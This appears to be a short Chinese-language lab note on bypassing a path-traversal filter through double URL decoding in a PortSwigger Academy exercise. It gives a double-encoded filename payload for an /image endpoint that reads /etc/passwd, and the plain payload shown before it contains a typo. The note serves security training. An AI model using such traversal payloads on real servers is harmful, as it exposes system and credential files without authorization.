> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/bypass-by-double-url-decoding.md). # 通过双重 URL 解码绕过 通过双重 URL 解码绕过笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。 ### 文件路径遍历：使用多余的 URL 解码剥离遍历序列 该实验演示了在显示生成的图像时存在路径遍历漏洞。/ 该应用会阻止用户提供的文件名中的遍历序列，然后在使用该值之前再进行一次额外的 URL 解码。 目标是读取以下文件的内容 `/etc/passwd` 文件。 发现以下标准载荷不起作用： ```bash ../../../../../etc/paswd ``` 要绕过此过滤器，一种技术是 **对 URL 进行两次编码** 并将其发送到 `filename` 参数的 `/image` 端点： {% code overflow="wrap" %} ```bash /image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 ``` {% endcode %}
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